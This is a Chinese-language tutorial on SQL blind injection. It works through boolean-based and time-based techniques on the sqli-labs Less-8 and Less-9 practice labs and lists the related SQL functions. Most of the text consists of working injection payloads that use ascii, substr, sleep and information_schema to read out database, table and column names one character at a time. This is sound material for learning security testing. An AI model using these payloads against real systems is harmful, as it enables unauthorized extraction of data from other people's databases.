sql 盲注 (web渗透)
- sql 盲注 主要是应对页面对wed错误应对的比较好的情况下使用(即,错误不回显)
布尔盲注
利用页面 返回 还是 不返回 这样两种状态的改变来判断我们想要的结果(布尔为 0 或1 两种情况)
解题步骤:(下面举例均以 sql-lab less-8为例)
-
获取数据库名字的长度: ?id=1’ and (length(database()))=8-- q(利用> < 或 = 来判断其数据库长度)
-
获取数据库名字:
-
?id=1’ and ascii(substr(database(),1,1))=115 表示从数据库1开始取一个长度 (将得出一个十进制数,利用ASCII表将其转化为字母或符号)第一个为s、
-
也可以通过burp suite来做
-
-
获取表的数量: ?id=1’ and (select count(*) from information_schema.tables where table_schema=‘security’)>5(=4)-- q
-
获取表的名字的长度: ?id=1’and (select length(table_name) from information_schema.tables where table_schema=‘security’ limit 0,1)>5(=6)-- q 有6个长度
-
获取表的名字 : ?id=1’and (ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1)))=101-- q 第一位为e
-
获取字段名:?id=1’and (ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),1,1)))=105-- q 第一位是 i
布尔盲注的函数
- 字符串连接函数: Concat ,concat_ws, group_concat
- 字符串截取函数:Substr, mid, left , right, locate
- 返回指定的ASCII字符串所需要的函数:ascii,ord
- 返回指定数字对应的ascii码字符:char
- 字符串替换:replace
- 计算相关: length(长度) count(计数)
时间盲注
- 时间盲注:(以 sql-lab less-9为例)解题步骤
第九关按照刚才的盲注发现无论输入什么条件,回显结果都是一个,证明刚刚的布尔盲注已经无法使用,要尝试使用时间盲注
-
解析库名长度: ?id=1’ and if(length(database())=8,sleep(5),1)-- q(如果成立,就五秒后在反应,注:这里的 1 没有任何含义)
-
解析数据库名称:?id=1’ and if((ascii(substr(database(),1,1))=115),sleep(5),1)-- q 第一位是 s
-
解析表名: ?id=1’ and if((ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101),sleep(5),1)-- q 第一位是 e
-
解析字段名:?id=1’ and if((ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),1,1))=105),sleep(5),1)-- q 第一位是 i
时间盲注的函数:
- sleep() 将程序挂起一段时间n为n秒
- if(expr1,expr2,expr3)判断语句 如果第一个语句正确就执行第二个语句 如果错误就执行第三个语句。